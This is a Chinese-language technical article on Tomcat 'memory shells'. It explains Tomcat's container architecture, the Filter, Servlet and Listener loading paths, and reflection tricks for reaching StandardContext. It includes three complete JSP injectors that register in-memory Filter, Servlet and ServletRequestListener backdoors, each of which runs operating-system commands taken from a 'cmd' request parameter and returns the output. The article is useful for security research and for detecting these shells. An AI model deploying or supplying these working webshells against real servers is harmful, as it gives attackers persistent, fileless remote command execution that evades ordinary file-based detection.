浅析Tomcat内存马

Web应用

初始化流程

image-20211202025149726
  1. 部署描述文件中由<listener>元素标记的事件监听器会被创建和初始化,事件监听器如果实现了ServletContextListener接口,将会调用其实现的contextInitialized()方法
  2. 部署描述文件中由<filter>元素标记的过滤器会被创建和初始化,并调用其init()方法,每一次请求时都只调用doFilter()方法进行处理
  3. 部署描述文件中由<servlet>元素标记的Servlet会根据<load-on-startup>的权值按顺序创建和初始化,并调用其init()方法,Servlet一旦被装入到Web容器之后,一般会长久驻留,直到Web容器停止运行或重新装入Servlet时结束生命周期,Servlet在第一次访问之后都只调用doGet()doPost()方法

Tomcat

Tomcat体系结构

image-20211201195720058
  • Server:表示一个Tomcat实例(单例),即整个catalina servlet容器,主要是用来管理容器下各个Serivce组件的生命周期
  • Service:一组提供服务、处理请求的组件,将一组Connector组件和Engine关联了起来
  • Connector:客户端连接到Tomcat容器的服务点,它为Engine提供协议服务,并根据Engine与客户端通讯的协议类型进行隔离,如HTTP、HTTPS、AJP协议
  • Container:Container是容器的父接口,用于封装和管理Servlet,以及处理Request请求,它包含了四大请求处理组件:Engine、Host、Context和Wrapper
  • Engine:Service中的请求处理组件,包含了Servlet容器的核心功能,主要负责将传入请求委托给适当的Host处理
  • Host:虚拟主机,每个Host会与某个网络域名相匹配,负责运行多个Web Application,每个Web Application对应一个Context,负责将收到的请求匹配到对应的Context,匹配的方法为“最长匹配”
  • Context:一个Contenxt代表一个Web Application,具备了Servlet运行的基本环境
  • Wrapper:最底层的容器,一个Wrapper代表一个Servlet,负责Servlet的装载、初始化、执行和资源回收

Tomcat组件关系

  • 一个Server包含一个或多个Service
  • 一个Service包含多个Connector和一个Container
  • 一个Container只能包含一个Engine
  • 一个Engine包含一个或多个Host
  • 一个Host包含一个或多个Web Application
  • 一个Context表示一个运行着Tomcat实例的Web Application
  • 一个Web Application包含一个或多个Wrapper
  • 一个Wrapper表示一个Servlet
  • Engine、Host、Context和Wrapper是显现了Container接口的容器

Tomcat执行流程

客户端和服务端交互过程

image-20211201195745765

请求数据流图

image-20211201204202339

Pipeline调用链

image-20211202153946928
  • Connector在某个指定的端口上来监听客户端发来的请求
  • Connector使用ProtocolHandler处理器处理收到的请求,ProtocolHandler处理器共有三个组件
    • Endpoint负责接受,处理socket网络连接(Executor提供多线程操作)
    • Processor根据协议类型封装成Request
    • Adapter负责将封装好的Request交给Container进行处理
  • Container使用Pipeline-valve管道处理请求,每个 Pipeline 都有一个最后执行的、不可删除的 BasicValve,通常命名为Standard(xxx)Valve,如上图所示,上层容器valve调用下层valve形成链式结构
    • EnginePipelineEngineValve1 -> … ->StandardEngineValve
    • HostPipelineHostValve1 -> … ->StandardHostValve
    • ContextPipelineContextValve1 -> … ->StandardContextValve
    • WrapperPipelineWrapperValve1 -> … ->StandardWrapperValve
  • 创建FilterChain,如果一个URL对应多个Filter则进行链式调用
  • 最终由Servlet处理请求,并将处理的结果返回给Connector
  • Connector把响应回传给客户端

StandardContext

StandardContextContext的实现类,涵盖了Web Application的启动流程,包括使用WebResourceRoot加载资源文件、利用Loader加载class,使用JarScanner扫描,实例化Sesssion管理器,初始化各种ListenerFilterServlet等功能

以下讲到的内存马都是基于修改StandardContext实现的,所以如何获取StandardContext也是内存马实现的重点之一

获取方法

目前StandardContext获取的方式有以下几种:

  1. request对象反射出ApplicationContext,再反射出StandardContext

    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  2. ThreadLocal中获取request

    Tomcat 7、8、9

    参考@threedr3am师傅的文章

  3. ContextClassLoader中获取

    Tomcat 8、9

    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

    StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
  4. 遍历thread数组获取包含StandardContext的类,其中Acceptor为全版本tomcat都有

    Tomcat 6、7、8、9

    参考@bitterz师傅的文章,比如下面方法就能够拿到/manager下的StandardContext

    Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");

    threads[3] ==> Thread[ContainerBackgroundProcessor[StandardEngine[Catalina]],5,main]

    threads[3].target.this$0.children.values.toArray()[0].children.get("/manager")

Filter内存马

FilterChain

前面提到,当StandardWrapperValve执行完后就会创建FilterChain,所以FilterChain的入口位于org/apache/catalina/core/StandardWrapperValve.java#invoke函数中

package org.apache.catalina.core;
final class StandardWrapperValve extends ValveBase {
@Override
public final void invoke(Request request, Response response)
throws IOException, ServletException {

...
MessageBytes requestPathMB = request.getRequestPathMB();
DispatcherType dispatcherType = DispatcherType.REQUEST;
if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC;
request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType);
request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR,
requestPathMB);
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); // ==> 创建FilterChain

...
package org.apache.catalina.core;
public final class ApplicationFilterFactory {

public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

if (servlet == null)
return null;

ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain(); // ==> 初始化一个空的FilterChain
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet); // ==> 设置Servlet
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

StandardContext context = (StandardContext) wrapper.getParent(); // ==> 获取StandardContext
FilterMap filterMaps[] = context.findFilterMaps(); // ==> 获取存储了所有filter的filterMaps,filterMaps位于StandardContext的filterMaps属性中

if ((filterMaps == null) || (filterMaps.length == 0))
return filterChain;

DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); // ==> 获取调度类型为"REQUEST"

String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString(); // ==> 获取请求的URL路径
}

String servletName = wrapper.getName(); // ==> 获取Servlet的名字

for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) { // ==> 匹配调度的指令,即"REQUEST"
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) // ==> 根据Filter的URLPattern匹配请求的URL
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName()); // ==> 初始化filterConfig,此处的filterDef封装了我们的Filter,filterConfigs以键值对的方式存储在StandardContext中
if (filterConfig == null) {
continue;
}
filterChain.addFilter(filterConfig); // ==> 添加filterConfig到filterChain的filters数组中
}

for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) // ==> 匹配ServletName,但是filterMap默认的ServletName为空,所以全部跳过
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
continue;
}
filterChain.addFilter(filterConfig);
}

return filterChain; // ==> 返回FilterChain
}

再次回到StandardWrapperValveinvoke()函数中

package org.apache.catalina.core;
final class StandardWrapperValve extends ValveBase {
@Override
public final void invoke(Request request, Response response)
throws IOException, ServletException {

...
MessageBytes requestPathMB = request.getRequestPathMB();
DispatcherType dispatcherType = DispatcherType.REQUEST;
if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC;
request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType);
request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR,
requestPathMB);
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); // ==> 创建FilterChain

try {
if ((servlet != null) && (filterChain != null)) {
if (context.getSwallowOutput()) {
try {
SystemLogHandler.startCapture();
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(),
response.getResponse());
}
} finally {
String log = SystemLogHandler.stopCapture();
if (log != null && log.length() > 0) {
context.getLogger().info(log);
}
}
} else {
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter
(request.getRequest(), response.getResponse()); // ==> 调用ApplicationFilterChain的doFilter()函数
}
}
}
package org.apache.catalina.core;
public final class ApplicationFilterChain implements FilterChain {

@Override
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
@Override
public Void run()
throws ServletException, IOException {
internalDoFilter(req,res);
return null;
}
}
);
} catch( PrivilegedActionException pe) {
Exception e = pe.getException();
if (e instanceof ServletException)
throw (ServletException) e;
else if (e instanceof IOException)
throw (IOException) e;
else if (e instanceof RuntimeException)
throw (RuntimeException) e;
else
throw new ServletException(e.getMessage(), e);
}
} else {
internalDoFilter(request,response); // ==> 调用internalDoFilter函数()
}
}
package org.apache.catalina.core;
public final class ApplicationFilterChain implements FilterChain {

private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

if (pos < n) { // ==> 遍历FilterChains
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter(); // ==> 获取对应的Filter

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this); // ==> 调用对应的doFilter()函数
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}

try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}

if ((request instanceof HttpServletRequest) &&
(response instanceof HttpServletResponse) &&
Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res};
SecurityUtil.doAsPrivilege("service",
servlet,
classTypeUsedInService,
args,
principal);
} else {
servlet.service(request, response); // ==> FilterChain结束后调用对应的Servlet
}
}
}

总结

想要注入一个filter内存马,核心在篡改StandardContext中的filterMaps属性来绕过dispatcherrequestPath,然后把filterConfig注入到StandardContextfilterConfigs属性中即可

filterMaps需要包含对应的dispatcherMappingfilterNameurlPatterns

image-20211202012812870

filterConfig中的filterDef需要包含对应的filterfilterClassfilterName

image-20211202012939483

Filter内存马实例

一定要先修改filterDef,再修改filterMap,不然会抛出找不到filterName的异常

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>AddFilter</title>
</head>
<body>

<%
Field Configs = null;
Map filterConfigs;
try {
// 从ServletContext中反射获取ApplicationContext和StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 获取filterConfigs
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

String FilterName = "CmdFilter";
if (filterConfigs.get(FilterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {}
};

// 获取FilterDef并修改其filter、filterName和filterClass
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructor1 = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef filterDef = (FilterDef) declaredConstructor1.newInstance();
filterDef.setFilter(filter);
filterDef.setFilterName(FilterName);
filterDef.setFilterClass(filter.getClass().getName());
// 加入到StandardContext的FilterDef属性中
standardContext.addFilterDef(filterDef);

// 获取FilterMap并修改其URLPattern、FilterName和Dispatcher
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) declaredConstructor.newInstance();
filterMap.addURLPattern("/*");
filterMap.setFilterName(FilterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 加入到StandardContext的filterMaps属性中
standardContext.addFilterMap(filterMap);

// 获取ApplicationFilterConfig,注入filterDef
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor2 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor2.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor2.newInstance(standardContext, filterDef);
filterConfigs.put(FilterName, filterConfig);

response.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
%>

</body>
</html>

Servlet内存马

loadOnStartup

StanderContext的初始化过程中,在配置完filter之后就会调用loadOnStartup()方法来初始化servlet

package org.apache.catalina.core;
public class StandardContext extends ContainerBase
implements Context, NotificationEmitter {

@Override
protected synchronized void startInternal() throws LifecycleException {
...
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}

if (ok) {
if (!loadOnStartup(findChildren())){ // ==> findChildren()返回所有Servlet
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
...
package org.apache.catalina.core;
public abstract class ContainerBase extends LifecycleMBeanBase
implements Container {

@Override
public Container[] findChildren() {
synchronized (children) { // ==> Children是一个HashMap类型,存储着各个StandardWrapper
Container results[] = new Container[children.size()];
return children.values().toArray(results); // ==> 将Wrapper转化为Container
}
}
image-20211202123329058
package org.apache.catalina.core;
public class StandardContext extends ContainerBase
implements Context, NotificationEmitter {

public boolean loadOnStartup(Container children[]) {

TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child; // ==> 将Container转化为Wrapper(略显多余的一个步骤)
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) { // 令loadOnStartup大于0
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper); // ==> 将wrapper装入list中
}

// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load(); // 加载list中的Servlet
} catch (ServletException e) {
getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
if(getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;

}

所以这里的重点是修改children属性加入我们的wrapper,向上追溯如何生成children,我们可以来到解析web.xml的函数

package org.apache.catalina.startup;
public class ContextConfig implements LifecycleListener {

private void configureContext(WebXml webxml) {

...

for (ServletDef servlet : webxml.getServlets().values()) { // 搜索web.xml中的servlet
Wrapper wrapper = context.createWrapper(); // 生成新的wrapper

if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); // 设置loadOnStartup
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName()); // 设置servletName
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper); // ==> 向context新的Child
}
...

addChild()方法会调用父类的addChildInternal()方法

package org.apache.catalina.core;
public abstract class ContainerBase extends LifecycleMBeanBase
implements Container {

private void addChildInternal(Container child) {

if( log.isDebugEnabled() )
log.debug("Add child " + child + " " + this);
synchronized(children) {
if (children.get(child.getName()) != null)
throw new IllegalArgumentException("addChild: Child name '" +
child.getName() +
"' is not unique");
child.setParent(this);
children.put(child.getName(), child); // 向children属性添加新的wrapper
}

try {
if ((getState().isAvailable() ||
LifecycleState.STARTING_PREP.equals(getState())) &&
startChildren) {
child.start();
}
} catch (LifecycleException e) {
log.error("ContainerBase.addChild: start: ", e);
throw new IllegalStateException("ContainerBase.addChild: start: " + e);
} finally {
fireContainerEvent(ADD_CHILD_EVENT, child);
}
}

同时需要注意在解析web.xml时,还会将解析到WebServlet添加到contextservletMappingNames属性中,来添加URL匹配规则

package org.apache.catalina.startup;
public class ContextConfig implements LifecycleListener {

protected void processClass(WebXml fragment, JavaClass clazz) {
AnnotationEntry[] annotationsEntries = clazz.getAnnotationEntries();
if (annotationsEntries != null) {
String className = clazz.getClassName();
for (AnnotationEntry ae : annotationsEntries) {
String type = ae.getAnnotationType();
if ("Ljavax/servlet/annotation/WebServlet;".equals(type)) {
processAnnotationWebServlet(className, ae, fragment); // 处理解析到的WebServlet
}else if ("Ljavax/servlet/annotation/WebFilter;".equals(type)) {
processAnnotationWebFilter(className, ae, fragment);
}else if ("Ljavax/servlet/annotation/WebListener;".equals(type)) {
fragment.addListener(className);
} else {
// Unknown annotation - ignore
}
}
}
}
package org.apache.catalina.startup;
public class ContextConfig implements LifecycleListener {

package org.apache.catalina.startup;protected void processAnnotationWebServlet(String className,
AnnotationEntry ae, WebXml fragment) {
...

if (urlPatterns != null) {
if (!fragment.getServletMappings().containsValue(servletName)) {
for (String urlPattern : urlPatterns) {
fragment.addServletMapping(urlPattern, servletName); // 添加servlet映射
}
}
}

...
package org.apache.tomcat.util.descriptor.web;
public class WebXml extends XmlEncodingBase implements DocumentProperties.Encoding,

public void addServletMappingDecoded(String urlPattern, String servletName) {
String oldServletName = servletMappings.put(urlPattern, servletName);
if (oldServletName != null) {
throw new IllegalArgumentException(sm.getString(
"webXml.duplicateServletMapping", oldServletName,
servletName, urlPattern));
}
servletMappingNames.add(servletName); // 添加servlet映射
}

总结

  • StandardContextchildren属性中加入我们定义的wrapper
  • servletMappingNames属性中加入我们的servlet映射
  • 设置servletloadOnStartup属性值大于0

Servlet内存马实例

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>AddServlet</title>
</head>
<body>

<%
try {
// 从ServletContext中反射获取ApplicationContext和StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

String servletURL = "/cmdServlet";
String servletName = "CmdServlet";

Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) {

}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
if ("cmd" != null) {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {

}
};

// 创建wrapper,设置我们的servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
// 令loadOnStartup大于0
wrapper.setLoadOnStartup(1);
// 添加到children属性中
standardContext.addChild(wrapper);
// 设置servlet映射
standardContext.addServletMappingDecoded(servletURL, servletName);

response.getWriter().write("Success");
} catch (Exception e) {
e.printStackTrace();
}
%>

</body>
</html>

Listener内存马

Listener分类

  • EventListener(修改属性时触发)

    • ServletContextAttributeListener
    • ServletRequestAttributeListener
    • HttpSessionAttributeListener
    • ServletRequestAttributeListener
  • LifecycleListener(在Servlet生命周期中触发)

    • ServletContextListener
    • HttpSessionListener
    • ServletRequestListener

Listener的种类有很多,但是有些不适用于作为内存马,比如ServletContextListener需要涉及到启动和停止服务器,HttpSessionListener需要设计session的创建和销毁,而ServletRequestListener只涉及到当前请求,所以最适合做内存马的是ServletRequestListener

listenerStart

package org.apache.catalina.core;
public class StandardContext extends ContainerBase
implements Context, NotificationEmitter {

@Override
protected synchronized void startInternal() throws LifecycleException {

...
if (ok) {
if (!listenerStart()) { // 调用listenerStart()函数
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
...
package org.apache.catalina.core;
public class StandardContext extends ContainerBase
implements Context, NotificationEmitter {

public boolean listenerStart() {

if (log.isDebugEnabled())
log.debug("Configuring application event listeners");

String listeners[] = findApplicationListeners(); // 找到全部Linstener名字
Object results[] = new Object[listeners.length];
boolean ok = true;
for (int i = 0; i < results.length; i++) {
if (getLogger().isDebugEnabled())
getLogger().debug(" Configuring event listener class '" +
listeners[i] + "'");
try {
String listener = listeners[i];
results[i] = getInstanceManager().newInstance(listener); // 实例化Linstener
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.applicationListener", listeners[i]), t);
ok = false;
}
}
if (!ok) {
getLogger().error(sm.getString("standardContext.applicationSkipped"));
return false;
}

List<Object> eventListeners = new ArrayList<>();
List<Object> lifecycleListeners = new ArrayList<>();
for (Object result : results) {
if ((result instanceof ServletContextAttributeListener)
|| (result instanceof ServletRequestAttributeListener)
|| (result instanceof ServletRequestListener)
|| (result instanceof HttpSessionIdListener)
|| (result instanceof HttpSessionAttributeListener)) {
eventListeners.add(result);
}
if ((result instanceof ServletContextListener)
|| (result instanceof HttpSessionListener)) {
lifecycleListeners.add(result); // 把Linstener加入到lifecycleListeners
}
}

eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));
setApplicationEventListeners(eventListeners.toArray());
for (Object lifecycleListener: getApplicationLifecycleListeners()) {
lifecycleListeners.add(lifecycleListener);
if (lifecycleListener instanceof ServletContextListener) {
noPluggabilityListeners.add(lifecycleListener);
}
}
setApplicationLifecycleListeners(lifecycleListeners.toArray());

if (getLogger().isDebugEnabled())
getLogger().debug("Sending application start events");

getServletContext();
context.setNewServletContextListenerAllowed(false);

Object instances[] = getApplicationLifecycleListeners();
if (instances == null || instances.length == 0) {
return ok;
}

ServletContextEvent event = new ServletContextEvent(getServletContext()); // 获取ServletContextEvent
ServletContextEvent tldEvent = null;
if (noPluggabilityListeners.size() > 0) {
noPluggabilityServletContext = new NoPluggabilityServletContext(getServletContext());
tldEvent = new ServletContextEvent(noPluggabilityServletContext);
}
for (Object instance : instances) {
if (!(instance instanceof ServletContextListener)) {
continue;
}
ServletContextListener listener = (ServletContextListener) instance;
try {
fireContainerEvent("beforeContextInitialized", listener);
if (noPluggabilityListeners.contains(listener)) {
listener.contextInitialized(tldEvent);
} else {
listener.contextInitialized(event); // 调用Linstener的contextInitialized()函数
}
fireContainerEvent("afterContextInitialized", listener);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
fireContainerEvent("afterContextInitialized", listener);
getLogger().error(sm.getString("standardContext.listenerStart",
instance.getClass().getName()), t);
ok = false;
}
}
return ok;
}

所以这里的重点在于我们怎么把Linstener添加到applicationListeners属性中,通过属性调用找到了addApplicationListener()函数

package org.apache.catalina.core;
public class StandardContext extends ContainerBase
implements Context, NotificationEmitter {

@Override
public void addApplicationListener(String listener) {

synchronized (applicationListenersLock) {
String results[] = new String[applicationListeners.length + 1]; // 获取Listener名字
for (int i = 0; i < applicationListeners.length; i++) {
if (listener.equals(applicationListeners[i])) {
log.info(sm.getString("standardContext.duplicateListener",listener));
return;
}
results[i] = applicationListeners[i];
}
results[applicationListeners.length] = listener;
applicationListeners = results; // 传入我们的Linstenr
}
fireContainerEvent("addApplicationListener", listener);

}

总结

  • 直接调用addApplicationListener将我们的Listener添加到StandardContextapplicationListeners属性中

Listener内存马实例

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>AddLinstener</title>
</head>
<body>
<%
try {
// 从ServletContext中反射获取ApplicationContext和StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null){
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
PrintWriter out= request.getResponse().getWriter();
out.println(output);
out.flush();
out.close();
}
catch (Exception e) {}
}
}

@Override
public void requestInitialized(ServletRequestEvent sre) {}
};

standardContext.addApplicationEventListener(listener);

response.getWriter().write("Success");
} catch (Exception e) {
e.printStackTrace();
}
%>
</body>
</html>

Valve内存马

Pineline

在上面的Tomcat执行流程中讲到过Pineline的调用链,每一层的valve都会顺序调用,上层的valve会调用下层的valve,然后每次调用valveinvoke()方法

比如在StandardHostValve类中是这样调用vavleinvoke()方法的

Context context = request.getContext(); // 获取StandardContext
...
